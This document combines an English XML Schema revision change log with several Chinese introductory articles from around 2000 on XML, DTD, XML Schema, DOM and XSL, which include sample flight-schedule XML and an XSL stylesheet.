Semantic | Changed type of the root attribute from restriction of boolean that only allowed 0 or 1 as lexical values to the standard boolean in the http://www.w3.org/2001/XMLSchema namespace. The lexical forms 0, 1, false, true are now allowed.
Addition | Added processContents="lax" to all element and attribute wildcards
Syntax | Changed base64 simple type to be a vacuous restriction of the base64Binary type in the http://www.w3.org/2001/XMLSchema namespace
Syntax | Updated all complex type definitions with simple base types to new syntax
Syntax | Added <xs:sequence> to all complex type definitions derived implicitly from the ur-type
Syntax | Added <xs:sequence> to all named model group definitions
Deletion | Removed the timeDuration datatype
Addition | Added duration datatype derived by extension from the duration datatype in the http://www.w3.org/2001/XMLSchema namespace.
Deletion | Removed the timeInstant datatype
Addition | Added dateTime datatype derived by extension from the dateTime datatype in the http://www.w3.org/2001/XMLSchema namespace.
Addition | Added gYearMonth datatype derived by extension from the gYearMonth datatype in the http://www.w3.org/2001/XMLSchema namespace.
Addition | Added gYear datatype derived by extension from the gYear datatype in the http://www.w3.org/2001/XMLSchema namespace.
Addition | Added gMonthDay datatype derived by extension from the gMonthDay datatype in the http://www.w3.org/2001/XMLSchema namespace.
Addition | Added gDay datatype derived by extension from the gDay datatype in the http://www.w3.org/2001/XMLSchema namespace.
Addition | Added gDay datatype derived by extension from the gDay datatype in the http://www.w3.org/2001/XMLSchema namespace.
Deletion | Removed the binary datatype
Addition | Added hexBinary datatype derived by extension from the hexBinary datatype in the http://www.w3.org/2001/XMLSchema namespace.
Addition | Added base64Binary datatype derived by extension from the base64Binary datatype in the http://www.w3.org/2001/XMLSchema namespace.
Deletion | Removed the uriReference datatype
Addition | Added anyURI datatype derived by extension from the anyURI datatype in the http://www.w3.org/2001/XMLSchema namespace.
Addition | Added normalizedString datatype derived by extension from the normalizedString datatype in the http://www.w3.org/2001/XMLSchema namespace.
Addition | Added token datatype derived by extension from the token datatype in the http://www.w3.org/2001/XMLSchema namespace.
Clarification | Added explicit namespace="##any" to all element and attribute wildcards which did not previously have an explicit namespace attribute
Style | Where possible comments have been changed into annotations

In addition several changes occured in the names of datatypes in the XML Schema specification and some datatypes were removed. The following table lists those changes.

Datatype | Class | Description
timeDuration | Renamed | New name is duration
timeInstant | Renamed | New name is dateTime
recurringDuration | Removed | The recurringDuration datatype no longer exists.
recurringInstant | Removed | The recurringInstant datatype no longer exists.
binary | Removed | The binary datatype has been replaced by the hexBinary and base64Binary datatypes.
month | Renamed | New name is gYearMonth
timePeriod | Removed | The timePeriod datatype no longer exists
year | Renamed | New name is gYear
century | Removed | The century datatype no longer exists
recurringDate | Renamed | New name is gMonthDay
recurringDay | Renamed | New name is gDay

Last Modified: $Date: 2001/07/09 13:39:15 $ UTC


csdn_XML--INTERNET的“世界语”

XML--INTERNET的“世界语”
作者： 天行者 www.ASPCool.com

    尽管目前几乎每种信息都可通过网络获取，但要找到你真正需要的信息却相当困难。现在的网页仅仅起着一台向请求者发送文件的传真机的作用，“所见即所得”的问题就在于你所见到的就是你得到的全部东西。例如，由于没办法给领带颜色之类的元素作上标记，因此想通过搜索引擎获取某种颜色的领带列表显然不可能。往往我们碰到的，是你想通过雅虎搜索一篇名叫“智慧之路”的文章，而它回给你一个“智慧之路书店”的条目。从理论上解决上述问题的方法很简单：使用能说明信息本质而不是表象的标签。譬如，标明一份汽车的订单，不是按HTML所提供的字、节、行、列来标注，而是根据某种原则，按价格、尺寸、数量和颜色等性质来定义。这样，程序就能够认出这个文件是客户的订单，并可按不同用户的不同要求分别处理：以台式PC方式显示或以手机方式显示，或是将它放入数据库系统，或是显示一幅样品图片……

    可扩展标识语言XML(Extensible Markup language)就是由这样一系列法则组成，它实质上是一种定义语言——任何人、任何行业都可遵循这些法则，定义各种标识来描述信息中的所有元素，然后通过一种被称为分析程序的小型程序进行处理，使信息能“自我描述”。

    计算机通信方式的这个变化看似简单，然而它的意义不仅仅是改变了HTML僵化的固定标识集，它的出现，从根本上改变了旧式的信息构造方式，创造了一种让所有计算机系统均可进行“智能”交流的语言，使得基于信息传输的互联网在信息检索和获取的方面发生了一种革命性变革，为整个互联网的智能化奠定了基础。自从1998年初XML由W3C(World Wide Web Consortium,世界广域网组织)设计完成以来，这个标准便如野火般漫延至科学和工业领域。

    这种狂热源自互联网所带来的一体化愿望。一些经过精选的规则使XML能够实现上述的一体化功能：其一就是标签总是成对出现，其功能就像我们通常使用的括号一样，同时它们又具有引号的功能，可多层次嵌套——嵌套规则采用计算机中常见的树结构，对于程序员来说简直是惊人的方便：例如，你的报表以树的形式表示，那么写一小段软件来改变数据或显示最新结果是非常轻而易举的事。其二是它所依赖的一个新标准——通用计算机代码，这是一个支持世界上所有主要语言的混合文本符号编码系统：在HTML中，一个文件通常用一种语言，它可以是中文、英文、日文、阿拉伯文其中的任一种，假如你的软件碰巧不能识别这种语言符号，你就不能使用它，而用来阅读按XML规则编写的网页的软件则可以处理各种语言的任意组合，因此，XML使得信息不但能在不同的计算机系统间交换，还能跨国、跨文化地界交换。

    以前，连接到网络的计算机和网络所能做的交互仅限于接收表格——填好后与网络服务器来回交换直至工作完成，而XML由于通过给内容贴上标签来描述其意义，与显示介质无关，所以，可使用一种名叫“格式表”的规则来给不同的设备进行自动重格式化工作——这个正处于发展阶段的、供XML格式表用的标准被称为XSL（可扩展的格式表语言）：视力上有残疾的人使用格式表，能把XML网页译为盲文或可听的语言；若想在汽车里实现网上冲浪，那么使XML页面发出朗读声是轻而易举的事；至于要做到在进行交易时，每个你所需要的文件显示的正好是你想要的东西，更是轻而易举——XML附加上的结构和语义信息，允许计算机设备立刻处理大量工作，大大减轻了网络服务器的负担，极大地降低网络通信量：当大多数网络信息用行业专用的XML标签标明时，要准确找到你所需要的信息将变得十分简单——在这里，使用XML就如同为互联网作了一个图书馆卡片目录。1999年2月完成的RDF(资源描述框架)使数十亿通过超链接连接起来网页可以在XML的支持下发挥更大作用。W3C由此制订一个基于XML、称为XLink的超文本链接标准：此标准支持多目标目录选择，能够在点击处直接插入其它网页的相关文本或图像，而不须关闭网页。然而，XLink最大的用途还在于它能将网页的使用指向一些核心数据库中的条目，而非页面本身。当页面地址变更时，制作者只需修改数据库记录便能更新所有指向它的链接，这有助于消除表示链接已被破坏的常见错误——“404文件未找到”。

    XML为科学家们交流理论、计算及实验结果提供了一条特别便利的途径：MathML（数学标识语言）支持数学家在网页中插入等式和几行简单文字，于是读者就可以把这些表达式直接插入代数软件供计算和画图用；CML（化学标识语言）和AML（天文学标识语言）能帮助研究人员检索大量杂志引文，并迅速筛选到恰好适用于他们研究课题的论文，例如，天文学家可以输入一个星系在天空中的坐标，以获得关于此天体的图像、研究论文及仪器数据的目录……XML还将有助于进行实验及分析实验数据：通过AIML（天文仪器标识语言），它支持全世界的天文学家通过浏览器控制天空中的望远镜，甚至可能控制卫星；遗传学家运用BSML（生物序列标识语言）来交流和处理因基因图谱绘制和基因序列分析工程产生的信息洪流，使研究者能轻易搜索巨大的遗传密码数据库，并把最终片段显示成有意义的图谱而不是杂乱无章的字母序列……

    在设计一门新语言之前，设计者们必须在三件事上达成一致：允许使用何种标签，标签元素怎样相互嵌套以及怎样处理。语言的词汇和结构——通常编写进DTD（文件类型定义）。XML标准不强迫语言设计者使用DTD，但大多数基于XML开发的新语言都带有DTD——它使程序员较易编写出能理解标识并对它作出巧妙处理的软件。所以，未来的网络设计者不仅要精通文字和图像的制作，还要精通DTD、数据树、超链接结构、元数据和格式表的相互依存的多层次系统结构——为第二代网络设计的更为坚实的基础结构。


csdn_XML简介

  XML简介
作者： 黄红华
   所谓的xml,就是eXtensible Markup Language, 翻译成中文就是“可扩展标识语言“，在国内很多人理解xml为html的简单扩展，这实际上是一种误解。尽管xml同html关系非常密切。
XML与SGML、HTML的关系。
SGML、HTML是XML的先驱。SGML是指“通用标识语言标准”(Standard Generalized Markup Language), 它是国际上定义电子文件结构和内容描述的标准，是一种非常复杂的文档的结构，主要用于大量高度结构化数据的防卫区和其他各种工业领域，利于分类和索引。同XML相比，定义的功能很强大，缺点是它不适用于Web数据描述，而且SGML软件价格非常价格昂贵。 　　HTML相信大家都比较熟悉，即“HyperText Markup Language” （超文本标识语言）,它的优点是比较适合web 页面的开发。但它有一个缺点是标记相对少，只有固定的标记集如<p>.<strong>等。缺少sgml 的柔性和适应性。不能支持特定领域的标记语言，如对数学、化学、音乐等领域的表示支持较少。举个例子来说，开发者很难在web pape 上表示数学公式、化学分子式和乐谱。
    Xml 结合了sgml 和html的优点并消除其缺点。Xml 仍然被认为是一种sgml语言。比sgml要简单，但能实现sgml的大部分的功能。１９９６年的夏天，Sun Microssystem的John Bosak开始开发W3C SGML工作组（现在称为xml工作组）。他们的目标是创建一种sgml，使其在Web中，既能利用Sgml的长处，又保留html的简单性。现在目标基本达到。
二、Xml 的发展。
    在专业领域中，出现了Web标记语言的许多项目，著名的有CML—化学标记语言，由Peter Murray_Rust 开发，同时开发了第一个通用xml 浏览器Jumbo . 在数学方面，包括IBM公司再内都在致力开发MathML 1997年四月，出版了xll的第一个版本。当xll完整实现时，将比html 和当前浏览器所达到的链接水平更复杂，更强大。１９９７年８月，Microsoft公司和Inso公司引入xsl.由于xml是纯结构和语义的，需要描述单个元素格式方法。可以使用html的CSS；另一种方案是xsl. 1998年１月，microsoft 公司出版发行了msxsl程序。可以利用xsl表和xml文档创建能被IE4 识别的html页面。１９９８年２月，W３C发布了xml1.0的正式版本。最近一年多来，由于网络应用的飞速发展，xml的发展非常迅猛。出现了DOM(Document Object Model),XSLT(XSL Transformation)等新名词，xml的应用软件也有了飞速的发展，Microsoft、IBM、Breeze、Stilo等公司纷纷推出了自己的或解析器，或开发平台。在MicrosoftIBM、HP等大公司的推动下，目前有两个著名的xml的研究组织，分别是biztalk.com和oasis.org，由他们向W3C提出标准的建议。其中biztalk是有Microsoft牵头组织的，有趣的是Microsoft公司同时参加了oaisis,不过不同于IBM、HP等著名大公司，他的年费只交10万美元，用Microsoft发言人的话就是“一切视oasis的发展而定！“，言下之意就是如果oasis制定的标准抵触Microsoft的应用，一场标准大战不可避免。
什么是XML
    首先XML是一种元标记语言，所谓“元标记”就是开发者可以根据自己的需要定义自己的标记，比如开发者可以定义如下标记<book> <name>，任何满足xml命名规则的名称都可以标记，这就为不同的应用程序打开了的大门。HTML是一种预定义标记语言，它只认识诸如<html>,<p>等已经定义的标记，对于用户自己定义的标记是不认识的。 第二xml是一种语义/结构化语言。它描述了文档的结构和语义。举个例子，在和html中，要描述一本书，可以如下表示：
<dt> book name
<dd> author_name <ul> <li>publisher_name ;;;; <li>isbn_number <ul> 在xml中，同样的数据表示为 <book> <title>book name</title> <author>author name</author) <publisher> publisher name</publisher> <isbn>isbn_number</isbn> </book> 从上面的对比，可以看出，xml的文档是有明确语义并且是结构化的。 XML是一种通用的数据格式从低级的角度看，xml是一种简单的数据格式，是纯１００％的ASCII文本，而ASCII的抗破坏能力是很强的。不象压缩数据和java对象，只要破坏一个数据文件数据就不可阅读。 从高级的角度看，是一种自描述语言。
XML可利用于数据交换 主要是因为XML表示的信息独立于平台的，这里的平台即可以理解为不同的应用程序也可以理解为不同的操作系统；它描述了一种规范，利用它Microsoft的word文档可以和Adobe 的Acrobat交换信息，可以和数据库交换信息。
XML表示的结构化数据。
    对于大型复杂的文档，xml 是一种理想语言，不仅允许指定文档中的词汇，还允许指定元素之间的关系。比如可以规定一个author元素必须有一个name子元素。可以规定企业的业务必须有包括什么子业务。
XML文档。 XML文档有DTD和XML文本组成，所谓DTD（Document Type Definition ）,简单的说就是一组标记符的语法规则.，表明XML文本是怎么样组织的，比如DTD可以表示一个<book>必须有一个子标记<author>, 可以有或者没有子标记<pages> 等等。当然一个简单的XML文本可以没有DTD。下面是一个简单的xml文本。 <? Xml version=”1.0” standalone=”yes”> <book> haha </book> 其中以？开始并结尾的是进程说明。Standalone表示外围设备。这里外围设备可以理解为该XML文本没有应用其他的文件。因为XML文件可以外部应用DTD等外部数据。
XML 涉及的一些技术。
XSL和CSS。
    通过前面的介绍可以知道，XML可以定义信息的内容，却没有定义信息该如何表达，这实际上就是XML的长处，它把内容和形式分离了，这样同一个内容可以有不同的表达，相信随着XML应用的提高，那种“建议你使用800x600分辨率“的会消失。而XML内容的表达就是通过XSL(XML Style Language)和CSS(Cascading Style Sheets 层叠样式表)来实现。拿前一个例子来说，可以为该xml文档定义的样式表（XSL）如下： <xsl> <rule> <root/> <H1> <children/> </H1> </rule> <xsl> 这就是一个简单的 XSL文件，利用msxsl可以生成html文件。如下 <h1> haha </hi> 至于CSS,在HTML文件中就已经有它的影子了，例如 H1 { font-size: 12pt; font-weight: bold; } 这就是一段简单的CSS的文本。
XML Schema 尽管DTD给标记的使用加了限制，但是对于XML的自动处理却还需要更加严格更全面的工具。比如DTD不能保证一个标记的某个属性的值必须不为负值，于是出现了XML Schema,由于XML Schema(不同于DTD)本身也是一个正规的XML文档，因此开发者可以使用相同的工具处理其同其他的XML的信息交换。最初XML Schema由Microsoft提出，W3C 的专家们经过充分讨论和论证，在1999年的2月，发布了一个需求定义，说明Schema必须符合的要求，5月，W3C完成并发布了Schema的定义。目前，IE5中的XML解析器能够根据文档类型定义(DTD)或XML Schema解析XML
关于DOM DOM即Document Object Model, 它把XML文档的内容实现为一个对象模型，简单的说就是应用程序如何访问XML文档，W3C的DOM Level 1 定义了如何实现属性、方法、事件等。
关于XSLT XSLT即XML Stylesheet Language Transformation. 在写本文时正式标准还没有正式形成，在1999年的11月通过了《XSLT》。XSLT是一种用来进行XML文档间相互转化的语言。简单的说，我们知道不同的开发者对于各自的应用会用不同的XML文档，利用XSLT我们可以从一个已经定义的XML文档抽取我们需要的数据，组成不同的形式，可以是XML, HTML和各种不同的SCRIPT。
关于Xpointer和Xlinks
    类似于HTML中的Hyper Link.　Xpointer 和Xlink用于联结其他的XML文档和其他XML文档中的部分，其中Xpointer相当于HTML中用于定位HTML文档子内容的锚！不过其联结水平更强大。比如，在bookstore中，可以定位到有一个作者叫金庸，书中有四大恶人的那本书，在HTML中，这是不可能实现的。
    当然，XML的发展促使了许多的新技术的出现，其他的还有RDF、Xfrom等等，其中的大部分W3C只是给出了建议，还没有形成正式的标准，有些内容甚至还处于讨论阶段。我们将密切注视着方面内容的变化。
XML 框架
    所谓框架即Framework。XML是一个通用的标准。它不属于个人，认证它的也不是一家公司，而是W3C。那么为什么那么多的大公司纷纷趋指如鹜呢？各家公司互相竞争的是它的framework, 是它的Schema. XML framework是驾驭XML文件的结构，是一种高层次的结构控制。利用XML framework，可以把商业逻辑（business logic）分离出来，实现数据与计算的分离。目前著名的framework有Microsoft的Biztalk 以及联合国（UN/CEFACT）和OASIS联合于99年底推出了EBXML动议。相信在不久的将来会有许多的Framwork. 其中的一个问题就是在W3C中关于XML的很多东西还处于建议的时候，就推出framework，是不是一种冒险。不过，互联网的发展似乎就是这样，关于framwwork的发展，我们将拭目以待。


csdn_XML入门 (上)

  XML入门 (上)
作者： Scot Wingo
了解XML将帮助你明白为什么说它是建立Web应用的完美选择

    如果你已经有了自己的个人网站或自己的公司网站，或者你已对Web有了相当的了解，那你可能已经注意到了有关一门新的Web技术的疯狂地讨论---XML。在今年早些微软公司发布了IE5(第一个商业化的支持XML标准的浏览器)后，这种疯狂的热情已经变成了大家争相参与的事实。在这里，你也许会问自己一个很重要的问题：

    1.什么是XML?

    XML是可扩展标志语言(eXtensible Markup Language)的简称.象HTML一样,XML是从所有标志语言的元语---标准通用标志语言SGML(Standard Generalized Markup Language)那里派生出来的.SGML是一种元语言,也可以称为一个定义诸如HTML等标志语言的系统.XML也是一种元语言,一个定义Web应用的SGML的子集.和SGML一样,你也可以用XML来定义种种不同的标志语言满足不同的需要,特别在数据表现方面.

    随着Web应用的不断发展,HTML的局限性也越来越明显的体现出来了:

    首先,HTML是一种界面技术:它把数据和数据的表现形式混在了一起,这使得分开两者变得相当的困难.

    它有一个复杂的标签集:你不能用你自己的特定应用标签来扩展它.

    它是"平面型"的:你不能指定一种数据的层次结构来表现数据间诸如包含,重要性等这些细节.

    它不能把数据简单地传送给客户端让客户端自行进行进一步的处理.事实上,HTML总是在服务器端产生,客户端只是一个显示机器.

    它只能提供一种显示方式给你的数据.如果你想提供不同的显示方式,你就不得不在服务器端重新产生这些数据和完整的HTML页,这样才能在客户端显示出来.如果数据和显示形式是分离的话,那你就可以把数据下载到客户端,之后根据你的需要随意发送有关这些数据的不同的显示方式.

    它的可读性不强,无论是人读还是计算机读都是一样.HTML也不是很严谨.有些标签需要匹配开始符和结束符

    (象<body>和</body>),但是也有一些只有开始符没有结束符(象<p>和<b>).HTML解释器不得不处理这些有点随机的格式.

    HTML和XML是World Wide Web Consortium,简称W3C 制定的标准.W3C的成员意识到随着互联网的飞速发展，必须要找到一种办法将数据和网页的表现方式分离开来----因此XML诞生了.为什么不就用SGML呢?这里我不想列举那些恼人的细节,反正有足够的理由来证明SGML相当的复杂(它的说明有500多页);XML标准远比它简单(只有少少的26页).

    尽管严格地讲,XML只是一种数据标志说明语言,但它已经开始渐渐地把一系列相关的技术包含进来了,象XML DOM,XSL,XLL,XML 命名空间和VML.在本文中,我们将看到XML,XSL(eXtensible Style Language可扩展形式语言),和XML DOM (Document Object Model文档对象模型)这几种先进的技术,我们还会介绍其他的标准.

    2.剖析一个XML文件

    XML 1.0标准可以在www.w3.org/TR/REC-xml这个网址上找到.不过要注意,虽然那不是学习XML的最好去处,但在你看完这篇文章后,请再看看它,相信你会有更深的体会.

    在看第一个例子之前,让我们先熟悉一下XML的命名系统.与HTML类似,一个XML的开始标签是这样声明的<标签>.结束标签也类似,不过在小于号后面要加一个前斜杠</标签>.一个标签对和它中包含的内容,象<movie>Gone with the Wind</movie>,被称为一个元素.所有在一个开始标签和一个结束标签中的东西都被称为一个元素的内容.在上面的例子中，Gone with the Wind是movie这个元素的内容.XML的开始标签也可以是属性列表,象<tag attribute1="100" attribute2="200">.

    如果XML文件遵循了基本的标准规则(以后会详细介绍),那么它们就是格式正确的XML文件.而所要遵循的最基本的规则就是每一个有开始标签的元素都要有一个相应的结束标签,而且子元素的结束标签一定要在包含它的母元素的结束标签之前.

    例如,这就是不和规则的形式:

    <auction_item>

     <description>

    </auction_item>

     </description>

    而这是合乎规则的形式:

    <auction_item>

     <description>

     </description>

    </auction_item>

    在W3C的XML标准中有完整而详细的规则列表.一个格式正确的XML文件必须至少包含一个元素.也就是说,文件中必须有根元素(不在其他任何一个元素中的元素).这使得每一个XML文件都是一个层次分明的元素列表.XML文件通过把元素置于其他标签对中,来定义产生这种元素间的层次关系(父子,兄弟关系).

    为了说明这一点,让我们来看一个例子:

    表 A: XML格式的航空公司的航线数据示例

    <?xml version='1.0'?>

    <!-- This is an example of airline flights in XML -->

    <flight_schedule>

     <flight flight_number="1073/61">

        <origination>

         <city> Raleigh, NC </city>

         <airport> RDU (Raleigh Durham Intl.)</airport>

        </origination>

        <destination>

         <city> San Francisco </city>

         <airport> SFO (San Francisco Intl.)</airport>

        </destination>

        <connection>

         <city> Charlotte, NC </city>

         <airport> CLT </airport>

        </connection>

        <airline> US Airways </airline>

        <price>1492.00</price>

        <aircraft>

         <manufacturer> Boeing </manufacturer>

         <model> 747 </model>

        </aircraft>

        <movie> No </movie>

        <meal> dinner </meal>

        <departure_time> 11:00 </departure_time>

        <arrival_time> 14:00 </arrival_time>

     </flight>

    <!-- More flights would go here, check the data file for an example -->

    </flight_schedule>

    表A是一些以XML格式表述的航空公司的航线数据.你可以看到XML相对来说可读性比较强.标签和它们的内容都具有相当的自释性.如果在一个HTML表单中又会是怎样的呢?

    你几乎不可能把数据从网页中分离出来.但在XML格式下,我们可以轻松地用一个旅行代理程序得到这些数据,把它们存到一个数据库中,或重新格式它的显示方式.

    现在让我们进一步剖析这个例子.第一行是XML的标准标题:

    <?xml version="1.0" ?>

    这个标题告诉处理程序(在这里指IE5 XML解释器和浏览器)这是一个XML文件,同时声明这个文件遵从哪一个XML版本(到现在为止只有1.0版).

    文件的下一行是一个注释:

    <!--An example of airline flights in XML-->

    XML的注释格式和HTML一样,你可能对此早已熟悉.但是与HTML不同的是,XML文件中所有的开始标签都必须匹配一个结束标签,所以在层次结构首部的开始标签<flight_schedule>,必须有一个匹配的结束标签,</flight_schedule>,在文件的结尾.

    剩下的则是一系列被开始标签和结束标签定义的元素.这个例子描述了一个有两个航班的航班时间表.每一个航班都包含了下面所示的层次化的数据:

    Origination

     City

     Airport

    Destination

     City

     Airport

    Connection

     City

     State

     Airport

    Airline

    Price

    Aircraft

     Manufacturer

     Model

    Departure_time

    Arrival_time


csdn_XML入门 (下)

  XML入门 (下)
作者： Scot Wingo
了解XML将帮助你明白为什么说它是建立Web应用的完美选择

    3.格式正确的XML文档VS有效的XML文档

    一个正确编写的XML文档可以有两种形式:它可以是格式正确的或者是有效的.如果一个XML文档在编写时遵从了XML标准中所列的规则,那么它就被认为是格式正确的.如果一个XML文档在编写时还遵循了一个标准的文件数据格式或组织架构,那么它就被认为是有效的.

    在使用XML交换数据时,有效性是相当重要的.如果我有一个有关发票的XML文档而且我想和我的商业伙伴通过它来交换数据,那我该怎么办呢?显然,我首先要告诉我的伙伴我想要的文件格式和我的文档将遵从的格式.

    目前有两种方法可以用来详细定义XML文档的格式:Document Type Definition(DTD)和XML Schema.DTD是XML1.0标准中的一部分,所以它们目前是最流行的定义方法.但是问题在于DTD使用的语法非常不直观,这就与XML的宗旨背道而驰.而且DTD不能让你自己指定不同元素的类型.

    XML Schemas说明规格则是由微软和其他XML业界公司提出来的,被W3C视为未来DTD的替代者.XML Schemas使用一种类XML语法来描述XML文档.另外,XML Schemas提供了在文件中描述元素类型的功能(通过XML-Data).在我们看来,对那些非SGML专业人员而言,Schemas比DTD更容易阅读,更容易理解,也更容易编写.

    XML能够让你轻松地定义自己的文件格式和标签,不过如果每一个人都使用他自己定义的文件格式的话,恐怕就没有人能彼此交换相似的文件信息了.目前有两个比较正式的"通用文件"标准组织,而且两者相互对立.在这种对峙的情况下,很多公司不得不痛苦地游离在两大阵营之间.

    BizTalk.这个由微软公司领导的组织希望建立一个为通用商务文件(发票,订单等)服务的平台.

    XML.org.这个组织则站在与微软公司对立的角度上,提倡用DTD来定义基本商务文件格式.

    究竟哪一个标准会在这场游戏中取得最后的胜利,现在评论还为时过早.将来最有可能出现的情况是有两到三种流行的文件格式,而转换工具会帮助人们把文件从一种格式转换到另一种格式.

    4.XML Document Object Model

    如果你现在已经有了一个XML文件,你该如何对它进行操作呢?在下一节中,我们将介绍如何将一个XML文件转换成一个HTML文件在浏览器上显示出来,这一节我们要介绍的是使用XML Document Object Model(DOM)来读写XML文件.当一个XML处理器解析了一个XML文档后,处理器把该文档保存到一个内存空间树中.DOM是访问该树的程序化接口,通过它你可以读,添加,删除和编辑树中的节点.

    图A展示了我们的实例文件保存到一个内存空间树中的情况.每一个DOM树都以一个文件对象为起点,所有的数据都保存其中.

    图A

    在IE5中,可以通过任何一个程序或脚本语言对XML DOM进行访问.例如,在表B中的JavaScript将改变美洲航空公司第一个航班的航线:

    表B: 用JavaScript将改变美洲航空公司第一个航班的航线

    var myDocument = new ActiveXObject("microsoft.xmldom");

    myDocument.load("flights.xml");

    myDocument.documentElement.childNodes.item(0).childNodes.item(3).text

    = "American Airlines";

    程序的第一行创建了一个空的DOM对象.第二行通过document.load()方法把我们的数据文件引入到DOM对象中.最后,在最后一行用一个很长的命令去访问第一航班的航线的节点并改变其中属于"美洲航空公司"的节点的内容.这一切是通过childNodes属性实现的,它使我们可以通过一个数字索引来访问某个子节点.DOM还提供了很多其他的方法让我们可以通过名称或其他属性来访问节点.

    上面的例子显然很一般,不过它很好地向我们展示了有关DOM的程序是个什么样子.如果你想用XML进行一些工作,就必须要了解DOM,同时还要学会如何操作、访问文档对象树.

    5.显示XML

    在显示XML数据的时候,你有两种选择:创建一个Cascading Style Sheet(CSS)来产生基于这些数据的HTML格式,或者使用另一项马上将成为一个标准的XML技术,可扩展的格式语言eXtensible Style Language.

    选择什么方法依赖于要显示数据的复杂性.如果你只想有一个基本的输出的话,CSS是一个不错的选择.例如,你可以产生一个简单的表单,航班信息用灰色,航空公司信息用兰色,字体用Helvetica font.对于更多的复杂的输出,就需要使用XSL了.如果你想让用户点击某一个标题后就得到一个航班的分类表,而且你还想用多种形式来表现你的数据,那么XSL对你而言是一个更好的选择.同样,XSL也是使用一种类XML语法来描述如何将XML转换为HTML,所以对你而言它也许不会象CSS那样陌生而难懂.

    现在让我们再看一看我们的航班例子,我们用XSL来把它转换为一个可显示的格式--表C展示了我们是如何进行这样的转换的.

    表 C: 用XSL来把它转换为一个可显示的格式:

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

     <xsl:template match="/">

        <HTML>

         <BODY>

            <TABLE BORDER="2">

             <TR>

         <TD>Destination</TD>

                <TD>Airline</TD>

                <TD>Movie</TD>

                <TD>Meal</TD>

             </TR>

             <xsl:for-each select="flight_schedule/flight" order-by="destination">

                <TR>

                 <TD><xsl:value-of select="destination"/></TD>

                 <TD><xsl:value-of select="airline"/></TD>

                 <TD><xsl:value-of select="movie"/></TD>

                 <TD><xsl:value-of select="meal"/></TD>

                </TR>

             </xsl:for-each>

            </TABLE>

         </BODY>

        </HTML>

     </xsl:template>

    </xsl:stylesheet>

    第一行是XSL的标准首部(你可以通过W3C发布的XSL工作文档了解到更多它的确切含义).

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    下一行告诉XSL处理器处理XML文件中的每一个记录.

    <xsl:template match="/">

    XSL文件中可以包含HTML标签.它们是定义HTML表单开始的HTML元素.之后我们有一个XSL for-each声明,声明我们将按目的地顺序循环处理每一个航班元素.

    <xsl:for-each select="flight_schedule/flight" order-by="destination">

    在每一个循环中,HTML标签将会和XSL选择声明得到的值组成表单中的元素,它们把要得到的航班元素中的相应值抽取出来,并把它们转换为字符串放置到HTML表单中:

    <TR>

     <TD><xsl:value-of select="destination"/></TD>

     <TD><xsl:value-of select="airline"/></TD>

     <TD><xsl:value-of select="movie"/></TD>

     <TD><xsl:value-of select="meal"/></TD>

    </TR>

    图B展示了这些XSL命令应用到航空公司航班数据文件上的结果．

    图B

    注意：如果你把下面这条处理说明添加到XML首部以后，IE5会自动应用XSL命令到指定的XML文件上．

    <?xml-stylesheet type="text/xsl" href="flight1.xsl"?>

    XSL是一个非常高级的语言.如果你想了解更多的细节,你可以到www.w3.org上读一读相关的标准或者到msdn.microsoft.com/xml上读一读微软公司优秀的在线用户指南.

    使用XSL来实现多样的表现形式

    XML/XSL的一种重要应用就是实现多样的表现形式.因为数据和表现形式是分离的,不象在HTML下你需要编写一个全新的表现形式同时还不得不重新引入所有的数据,所以你可以简单地改变XSL来产生一个新的表现形式.例如,如果有用户想通过飞机的类型来分类航班数据,你可以用下面的代码提供一个"飞机的分类显示"

    <xsl:for-each select="flight_schedule/flight" order-by="aircraft">

    当显示的时候,就会产生一个如图C所示的飞机分类表.

    图C

    6.Netscape 怎样呢?

    这里绝大部分的例子都集中在了Internet Explore 5.0对XML的支持上,那么Netscape Navigator对XML的支持是怎样的呢?你可能已经听说了,下一个Netscape的浏览器,目前人们称之为Gecko,将建立在一个称为Mozilla.org的开放源码方案之上.有关Gecko对XML的支持,在Mozilla.org的站点上已经有了详细的说明.这里我们向读者展示几个有关的它的说明.

    在Gecko中Mozilla.org将使用一个称为expat的免费XML解析器.

    将提供对XML/CSS的完全支持.

    其中没有提到XSL,因为它还不是一个标准.

    完全支持DOM.

    Gecko的用户接口将采用一种基于XML的语言XUL,XML-based user-interface language的简写.如果想了解更多的细节可以去参阅www.mozilla.org/rdf/doc/xml.html.

    尽管目前IE5的市场份额在增大,但很可能你还是要等到一个支持XML的Netscape的浏览器发布以后才能真正在你的浏览器上实现对XML的支持.不过这并不妨碍你今天在服务器端使用XML.

    服务器对XML的支持

    我们对微软公司的Internet Information Server 5.0进行了测试,结果发现它支持所有我们测试过的XML特性.你可以使用Internet Server API,Active Server Pages, 或CGI 脚本语言来引入XML,使用和IE5相同的XML解析器.

    在服务器端使用XML时,你要把一个XML文件装入到内存中,或者用Active Data Objects(ADO)产生一个内存中的映象.一旦在服务器端你装入了一个XML文件,你就可以通过DOM来操作它,和一个商业伙伴交换该文件,或者使用XSL或CSS将它转换为HTML文件显示到用户的浏览器上.

    另一项功能是你可以探测出用户正在使用的浏览器是什么类型.如果用户的浏览器是IE5,你可以把XML数据发送到浏览器端,之后在客户端进行操作.如果是别的浏览器,你可以进行纯粹的服务器端的操作.这一策略将为你在XML流行的将来作好准备.

    7.总结

    这里将对使用XML建立Web应用的优点进行一下总结:

    XML可以让你和商业伙伴方便地交换数据.

    XML可以让你自由地在你的服务器端或客户端引入、操作数据.这使得你可以轻松地将服务器上不同来源的数据结合在一起.

    在浏览器上使用XML,你可以避免烦琐的数据操作.想象一下如果我们的航班数据有2MB,那么每次当用户想改变显示方式时我们都不得不重新发送它们.如果使用了XML的话,数据保存在浏览器中,我们可以非常轻松地改变这些数据的表现形式.

    使用XSL,你只要简单地改变一下显示形式的描述,就可以实现针对任何一个XML数据的多种的表现形式.你不用每页都重新引入那些数据.而针对数据的更新将自动地在你的数据的表现形式上体现出来.如果你以前从事过面向对象的编程或者学习过模型设计,你会发现这一点跟举世公认的Model-View-Controller模式一样.

    我们希望这篇文章能给你足够多的XML知识,去燃起你心中使用这项激动人心的新技术的热情.


csdn_XSL概述

  XSL概述
作者： 许慎
    XSL(eXtensible Stylesheet Language,可扩展样式语言)是为XML文件定义的一种标识语言，它将提供远远超过CSS的强大功能，如将元素再排序等。实际上简单的XML已可被CSS所解释，然而复杂的高度结构化的XML数据或XML文档则只能依赖于XSL极强的格式化的能力而现给用户。
